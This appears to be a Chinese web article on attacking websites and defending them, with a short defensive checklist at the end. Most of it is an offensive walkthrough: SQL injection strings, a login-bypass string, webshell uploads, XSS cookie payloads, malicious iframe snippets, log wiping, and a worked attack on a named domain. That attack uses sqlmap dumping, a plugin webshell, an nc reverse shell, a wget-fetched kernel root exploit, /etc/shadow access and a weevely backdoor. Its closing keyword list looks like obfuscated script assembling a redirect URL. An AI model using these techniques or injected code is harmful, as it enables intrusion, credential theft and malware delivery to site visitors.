《黑客》中“攻击与防范网站入侵详解”

在《黑客》实用文章《攻击与防范网站入侵详解》之前，黑客技术文章中描述了很多黑客技术原理。最近我会通过文章讲一些黑客实用的内容，想了解黑客实用技术的朋友可以多关注我的文章。

今天就用这篇文章的内容，给大家讲讲黑客入侵网站的基本过程和技术实现的过程！

首先，找出网站的基本结构(认识自己，向自己学习)。几种常见的基本结构如下：

1.独立模式。

所有资源(如应用程序、数据库和文件)都集中在一台服务器上。典型案例：基于LAMP架构的PHP网站；

独立时代(仅依赖关系数据库管理系统)

优点：简单快速迭代实现业务目标；缺点：有单点，不可用；技术要点：应用程序设计应该是可扩展的；

2.单机缓存模式。

有一定的业务量和用户规模，我想提高网站的速度，所以缓存出现了。

单机缓存外观。

优点：简单有效，维护方便；缺点：有单点，不可用；技术要点：客户端(浏览器)缓存、前端页面缓存、页面片段缓存、本地数据缓存/数据库缓存、远程缓存；

3.数据服务与应用分离模式。

用户每天都在增加，数据库疯狂读写，逐渐发现一个服务器支持不了。所以，我决定把数据服务和APP分开。

数据服务和应用的分离。

优点：简单有效，维护方便，提高不同服务器对硬件资源的利用率；缺点：有单点，不可用；技术要点：文件服务器部署、数据库服务器和扩展数据访问模块；

分离后，三个服务器对硬件资源有不同的要求：

4.数据库读写分离模式。

单个数据库也觉得抓不住，所以通常尝试做“读写分离”。因为大多数互联网的特点，比如‘多读少写’。Salve的数量取决于业务评估的读写比率。

数据库读写分离。

优点：简单有效，减轻了单一数据库的压力；缺点：读写分离增加了编程难度、架构复杂性和维护难度。技术要点：同步部署主从数据库，扩展数据访问模块，实现读写分离；

5.应用服务集群模式。

在数据库层面有所缓解，但在应用层面也出现了瓶颈。由于访问量的增加，加上早期程序员水平有限，写出来的代码也不好，人员流动性也很大，难以维护和优化。因此，一个非常常见的方法是“堆积机器”。

具有应用瓶颈的负载平衡集群。

优点：增加了服务器和HA机制，保证了系统性能和可用性；缺点：应用程序之间的缓存和会话一致性；技术要点：负载均衡；

系统的可扩展性是通过常用的集群手段来实现的，解决了高并发和海量数据的问题。通过负载均衡调度器，用户访问可以分布到集群中的一个Server，应用服务器的负载压力不再是整个网站的瓶颈。

6.集中式缓存和会话集中式存储。

任何添加机器的人都会添加它。关键是添加后要有效果，可能会出现一些问题。比如集群应用之间页面输出缓存和本地缓存的一致性问题，保存Session的问题都很常见。

集中式缓存会话集中式存储。

优点：应用之间的缓存和Session一致，存储不受限制，可扩展；缺点：不如本地缓存访问快，缓存服务器和Session服务器仍然存在单点问题。技术要点：缓存服务器部署和Session集中存储方案；

7.静态和动态分离。

静态和动态分离也是提高网站响应速度的常用方法。将动态请求与静态请求分开，以最小化应用服务器上的压力。同时

优点：降低应用负载压力，针对静态文件缓存；缺点：静态文件缓存更新无效；技术要点：动静分离，静态文件缓存方案；

8.反向代理和CDN加速网站响应。

利用反向代理和CDN加速网站响应：CDN和反向代理的基本原理是缓存，区别在于：

1.CDN部署在网络提供商的机房；

2.反向代理部署在网站中央机房；

使用CDN和反向代理的目的是为了尽快将数据返回给用户，这样既加快了用户的访问速度，又减轻了后端服务器的负载压力。

使用反向代理和CDN加速网站响应。

优点：降低应用负载压力，异地缓存可以有效解决异地用户访问慢的问题；缺点：成本大大增加，架构进一步复杂化，维护难度进一步增加，静态文件缓存更新无效；技术：CDN，反向代理方案；

9.使用NoSQL和搜索引擎。

至此，DB层面和应用层面的横向拓展已经基本实现，可以开始关注其他一些方面，比如站点内搜索的准确性，对DB的依赖，以及全文索引和NoSQL的引入。

NoSQL和搜索引擎都是源于互联网的技术手段，对可扩展的分布式特性有更好的支持。服务器通过统一的数据访问模块访问各种数据，减轻了应用管理多个数据源的麻烦。

p>

使用NoSQL和搜索引擎

优点：降低DB依赖；缺点：单点问题，谈不上高可用；技术点：NoSQL、搜索引擎、分布式；

二、 网站的入侵基本流程1、信息收集

1) Whois信息--注册人、电话、邮箱、DNS、地址

2) Googlehack--敏感目录、敏感文件、后台地址

3) 服务器IP--Nmap扫描、端口对应的服务、C段

4) 旁注--Bing查询、脚本工具

5) 如果遇到CDN--Cloudflare（绕过）、从子域入手（mail，postfix）、DNS传送域漏洞

6) 服务器、组件（指纹）--操作系统、web server（apache，nginx，iis）、脚本语言，数据库类型

2、漏洞挖掘

1) 探测Web应用指纹--如博客类：Wordpress、Emlog、Typecho、Z-blog，社区类：Discuz、PHPwind、Dedecms，StartBBS、Mybb等等，PHP脚本类型：Dedecms、Discuz!、PHPCMS、PHPwind

2) XSS、CSRF、SQLinjection、权限绕过、任意文件读取、文件包含...

3) 上传漏洞--截断、修改、解析漏洞

4) 有无验证码--进行暴力破解

3、漏洞利用

1) 思考目的性--达到什么样的效果

2) 隐藏，破坏性--根据探测到的应用指纹寻找对应的exp攻击载荷或者自己编写

3) 开始漏洞攻击，获取相应权限，根据场景不同变化思路拿到webshell

4、权限提升

1) 根据服务器类型选择不同的攻击载荷进行权限提升

2) 无法进行权限提升，结合获取的资料开始密码猜解，回溯信息收集

5、植入后门

1) 隐蔽性

2) 定期查看并更新，保持周期性

6、日志清理

1) 伪装，隐蔽，避免激警他们通常选择删除指定日志

2) 根据时间段，find相应日志文件 太多太多。

三、 黑客入侵网站的常规思路方法

1、经典注入

通常，判断一个网站是否存在注入点，可以用'，and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断，如果and 1=1正常返回页面，1=2错误，或者找不到，那么就存在注入点

2、万能密码OR漏洞

万能密码'or'='or',可以用在后台管理输入，有的网站由于没有过滤OR漏洞，输入OR直接就可以突破，一般漏洞存在于ASP类型的网站

3、爆库

爆库，可以理解为爆出数据库下载，用爆库之类的工具可以直接就获得管理员用户和密码，%5C为十六进制的\符号，而数据库大于5.0就可以进行爆库，如在PHP手工高级注入时，用VERSION（）这个变量猜出网站数据库版本，如果一个网站数据库大于5.0，且是ACESS数据库，那么提交地址是：

4、COOKIE中转，SQL防注入程序，提醒你IP已被记录

COOKIE中转，SQL防注入，如果检测一个网站时，弹出这样一个对话框，上面出现SQL防注入程序提醒的字语，那么我们可以利用COOKIE中转，注入中转来突破，方法是先搭建一个ASP环境（且网站为ASP网站），然后打开中转工具，记住一个网站的页面地址粘贴进工具里，值是多少就写多少，生成，把生成的文件放到目录里，接下来，打开网页，输入:端口/值（目录文件）？提交值，那么拿到工具里猜表名，列名了

5、手工

ASP手工语句表名 and exists (select * from 表名)

列名 and (select count(列名) from 表名)>0

长度 and (select top 1 len(username) from admin)>0

内容 and (select top 1 asc(mid(username,1,1)) from admin)>100

PHP手工语句：order by（猜字段），and 1=2 union select （字段数）and 1=2 union selsect from(位置）

几个常用变量 ，USER(),VERSION()<数据库版本），database()<数据库名称>

6、抓包拿WEBSHELL

如果进入后台发现，点数据库备份的时候发现找不到，可以通过抓包来获得上传，拿到WEBSHELL，工具WOSCK抓包，一张图片，一个ASP马，自行搭建一个上传地址，UPLOAD加载，UPFILE上传，COOKIS=（ ）

7、数据库备份拿WEBSHELL和一句话木马入侵

通常进入后台了，发现有数据库备份，拿WEBSHELL吧，找一个添加产品的地方，传一个大马，格式为JPG图片，然后把图片地址粘贴到数据库备份那里，给起个名字，如SHELL.ASP,然后合地址访问的时候就进入webshell了，一句话木马入侵，先编辑记事本，加入一句话，改为2.jpg,然后备份，访问，发现500内部服务器错误，证明一句话成功，接下来用一句话木马客户端连接，得到路径页面，然后改下马名，输入大马内容，提交，得到WEBSHELL

8、DB权限差异备份拿WEBSHELL

如果一个网站注入点是MYSQL数据库，且是DB权限，或者是SA权限，能够列目录，那么就好办了，找到网站的目录，目录通常在D和E盘，备份个小马，合地址访问看看成功没，直接备份大马貌似不行，成功后，再输入大马内容，拿到WEBSHELL

9、找后台

找后台，一般默认为admin,admin/admin.asp,admin/login.asp,.admin_login.asp,manage/login.asp,login.asp,logon,user.asp,admin/index.asp,当然，这只是默认，一些大网站不可能还用admin作为后台，有的隐藏很深，可以简单用site:网站 inurl:后台来猜，或者下载源HTML文件分析找出后台，或者用各种工具来扫描了，方法很多的

10、脚本提示

有的网站要求进入后台会出现一个脚本提示，就像VB编程里INPUTBOX ""，一个对话输入框，我们输入administrator突破，admin代表以管理员身份来进入

11、php后门和EWEBEDITOR编辑器入侵

PHP后门，如之前爆出的DISZ漏洞，在一个PHP网站后面加C.PHP,如果出现1，那么传个PHP马就拿到WEBSHELL，EWEBEDITOR编辑器入侵，是很快速的方式，设置好上传文件类型，传ASA，或者其他的格式，然后访问拿到WEBSHELL，如没有直接加语句拿到WEBSHELL

12、上传漏洞

有的网站虽然没有注入点，但存在一个上传漏洞，那么我们如何来利用了，首先，打开上传地址看是否存在，如果有，试想传一个ASP大马是不行的，那么传一句话看看，先看能成功不，用明小子来上传，动网，动力，动感，乔客4种方式，页面地址格式要对应，如果一个网站地址弹出对话框，显示上传成功，那么证明可以拿到WEBSHELL，传马，另外有的没有任何显示，直接空的，那么可以构建两个上传，第一个传JPG的图片，第二个传ASP马（大马），记住，大马后面要有个空格才行，如果一个网站地址出现文件类型不正确，请重新上传，那么证明%90可以拿到WEBSHELL，只是格式不对，不允许，改后缀，只要是网站没有过滤的格式，如果一个网站地址显示请登陆再上传，那么证明没有拿到COOKIS，思路是在该网站注册一个用户，得到COOKIS，然后上传就成功了

13、简单提权拿下服务器和SERV提权和pcanywhere三方提权

简单拿下服务器，也就是拿下网站IP主机，首先我们需要一个WEBSHELL，然后看看组件信息，看看路径可读可以写不，如果有一个可以，那么来到CMD命令下，首先输入可写的文件内容，执行命令加一个帐号和最高管理权限，然后输入netstat -an,得到主机连接端口，然后用3389连接进入，让其成为肉鸡（最好），这样比较隐蔽我们操作

14、反查入侵和旁注和社会工程学

反查IP入侵，也就是入侵21，端口，首先我们入侵网站先PING 密码，也需要收集，并不是每个都行，总之是自己的经验

15、跨站脚本攻击

跨站（CSS），被动攻击，现在需要更多的思路和经验了

三段经典跨站代码

<script>alert("跨站开始")</script>

<script>alert("document.cookie")</script>

<script>window.open(;

16、特殊空格

利用TAB制作的特殊空格，然后注册时输入空格，加管理名字，随便在网站上找个斑竹，或者管理的名字，这样来注册，有时自己注册的这个也会变成管理员

17、改主页

改主页，拿到WEBSHELL后，先找出首页文件，一般为index.asp,index.php.index.jsp,index.html,然后来到站点根目录，编辑index.asp(首页），清空，最好备份，输入自己的主页代码（黑页），保存，再访问时已经变成自己想要的结果了

18、挂马

首先在WEBSHELL里，建立一个文本，改为1.htm,接下来在主页最下面挂

两段经典挂马代码

<html>

<iframe src=";

</html>

<SCRIPT language=javascript>

window.open("");

</script>

四、 网站入侵全过程实例假设入侵的网站域名是hack-test.com

第一步：用ping命令获取网站服务器的IP地址

现在我们获取了网站服务器的IP地址为:173.236.138.113

第二步：寻找同一服务器上的其它网站，我们使用sameip.org.

26 sites hosted on IP Address 173.236.138.113

173.236.138.113上有26个网站，很多黑客为了攻破你的网站可能会检查同服务器上的其它网站，但是本次是以研究为目标，我们将抛开服务器上的其它网站，只针对本次测试的网站来进行入侵检测。

第三步：查询关于网站的以下信息：

1. DNS records (A, NS, TXT, MX and SOA)

2. Web Server Type (Apache, IIS, Tomcat)

3. Registrar (the company that owns your domain)

4. Your name, address, email and phone

5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)

6. Your server OS (Unix,Linux,Windows,Solaris)

7. Your server open ports to internet (80, 443, 21, etc.)

让我们开始找网站的DNS记录，我们用who.is来完成这一目标.

发现DNS记录如下：

确定web服务器的类型：

发现Web服务器是apache，接下来确定它的版本.

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753

Page Views per Visit: 1 Month: 2.0 3Month: 3.7

接下来寻找网站域名的注册信息,你的电话、邮箱、地址等

现在已经获取了你的网站域名的注册信息，包括你的重要信息等.

接下来可以通过backtrack5中的whatweb来获取网站服务器操作系统类型和服务器的版本：

发现网站使用了著名的php整站程序wordpress，服务器的的系统类型为FedoraLinux，Web服务器版本Apache 2.2.15。

继续查看网站服务器开放的端口，用渗透测试工具nmap:

1、Find services that run on server(查看服务器上运行的服务)

2、Find server OS(查看操作系统版本)

只有80端口是开放的,操作系统是Linux2.6.22（Fedora Core 6），现在已经收集了所有关于网站的重要信息,接下来开始扫描寻找漏洞,比如:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等

3、用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com

4、用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af#./w3af_gui

输入要检测的网站地址,选择完整的安全审计选项

稍等一会，将会看到扫描结果

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.

第四步：通过工具发现这个URL存在SQL注入，我们通过Sqlmap来检测这个url.

Using sqlmap with –u url

输入N按回车键继续

发现你的网站存在mysql显错注入，mysql数据库版本是5.0. 我们通过加入参数"-dbs"来尝试采集数据库名

发现三个数据库,接下来通过参数"-D wordpress -tables"来查看wordpress数据库的所有表名

通过参数"-T wp_users –columns "来查看wp_users表中的字段.

接下来猜解字段user_login和user_pass的值.用参数"-C user_login,user_pass–dump"

会发现用户名和密码hashes值

第五步：通过以下在线破解网站来破解密码hashes

第六步：登陆wordpress的后台wp-admin

尝试上传php webshell到服务器，以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件，编辑插入我们的php webshell，点击更新文件，然后访问我们的phpwebshell.

Phpwebshell被解析了，我们可以控制网站的文件，但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

第六步：用NC来反弹一个shell

首先在我们的电脑上监听5555端口。

然后在Php webshell上反向连接我们的电脑，输入IP和端口5555.

点击连接我们会看到

接下来我们尝试执行一些命令：

id

uid=48(apache) gid=489(apache) groups=489(apache)

（用来显示用户的id和组）

pwd

/var/

（显示服务器上当前的路径）

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux

（显示内核版本信息）

现在我们知道，服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

第七步：在服务器上测试了很多exp之后，用以下的exp来提升权限.

在nc shell上执行以下命令:

wget

(下载exp到服务器并重命名为roro.c)

注：很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.

exp roro.c代码如下：

#include

#define RECVPORT 5555

#define SENDPORT 6666

int prep_sock(int port)

int s, ret;

struct sockaddr_in addr;

s = socket(PF_RDS, SOCK_SEQPACKET, 0);

if(s < 0)

printf("[*] Could not open socket.");

exit(-1);

memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的，我们需要将他编译成elf格式的,命令如下:

gcc roro.c –ororo

接下来执行编译好的exp

./roro

执行完成之后我们输入id命令

id

发现我们已经是root权限了

uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件

cat/etc/shadow

第八步：用weevely制作一个php小马上传到服务器上，留个后门

1、weevely使用选项

root@bt:/pentest/backdoors/web/weevely#./main.py

2.用weevely创建一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko

接下来上传到服务器之后来使用它

root@bt:/pentest/backdoors/web/weevely#./main.py -t -u

测试我们的hax.php后门

以上就是入侵网站的全过程实例描述!

五、如何判断网站被黑？如何应对网站被黑？如何防止网站被黑？1、如何判断网站被黑？

如果存在下列问题，则您的网站可能已经被黑客攻击：

1) 通过site命令查询站点，显示搜索引擎收录了大量非本站应有的页面。

2) 从百度搜索结果中点击站点的页面，跳转到了其他站点。

3) 站点内容在搜索结果中被提示存在风险。

4) 从搜索引擎带来的流量短时间内异常暴增。

一旦发现上述异常，建议您立即对网站进行排查。包括：

1、分析系统和服务器日志，检查自己站点的页面数量、用户访问流量等是否有异常波动，是否存在异常访问或操作日志;

2、检查网站文件是否有不正常的修改，尤其是首页等重点页面;

3、网站页面是否引用了未知站点的资源(图片、JS等)，是否被放置了异常链接;

4、检查网站是否有不正常增加的文件或目录;

5、检查网站目录中是否有非管理员打包的网站源码、未知txt文件等。

2、如何应对网站被黑？

如果排查确认您的网站存在异常，此时您需要立即做出处理，包括：

1) 立即停止网站服务，避免用户继续受影响，防止继续影响其他站点(建议使用503返回码)。

2) 如果同一主机提供商同期内有多个站点被黑，您可以联系主机提供商，敦促对方做出应对。

3) 清理已发现的异常，排查出可能的被黑时间，和服务器上的文件修改时间相比对，处理掉黑客上传、修改过的文件;检查服务器中的用户管理设置，确认是否存在异常的变化;更改服务器的用户访问密码。

注：可以从访问日志中，确定可能的被黑时间。不过黑客可能也修改服务器的访问日志。

4) 做好安全工作，排查网站存在的漏洞，防止再次被黑。

3、如何防止网站被黑？

1) 为避免您的网站被黑客攻击，您需要在平时做大量的工作，例如

2) 定期检查服务器日志，检查是否有可疑的针对非前台页面的访问。

3) 经常检查网站文件是否有不正常的修改或者增加。

4) 关注操作系统，以及所使用程序的官方网站。如果有安全更新补丁出现，应立即部署，不使用官方已不再积极维护的版本，如果条件允许，建议直接更新至最新版;关注建站程序方发布的的安全设置准则。

5) 系统漏洞可能出自第三方应用程序，如果网站使用了这些应用程序，建议仔细评估其安全性。

6) 修改开源程序关键文件的默认文件名，黑客通常通过自动扫描某些特定文件是否存在的方式来判断是否使用了某套程序。

7) 修改默认管理员用户名，提高管理后台的密码强度，使用字母、数字以及特殊符号多种组合的密码，并严格控制不同级别用户的访问权限。

8) 选择有实力保障的主机服务提供商。

9) 关闭不必要的服务，以及端口。

10) 关闭或者限制不必要的上传功能。

11) 设置防火墙等安全措施。

12) 若被黑问题反复出现，建议重新安装服务器操作系统，并重新上传备份的网站文件。

关键词：

• var url=''
• url= '555' + url
• url='_11784'+ url
• url='447002' + url
• url= '78a1632' + url
• url='f0c64679' +url
• url= 'c96b21'+ url
• url='ce62f9' +url
• url= '7676c8c8' + url
• url= '__HY=38' + url
• url= 'n/&amp
• ' + url
• url= 'ys888.c' + url
• url= 'www.hx' + url
• url= 'tps://' + url
• url= 'host=ht' + url
• url= 'remote-' + url
• url= '&amp
• '+ url
• url= 'ed3d9f0'+ url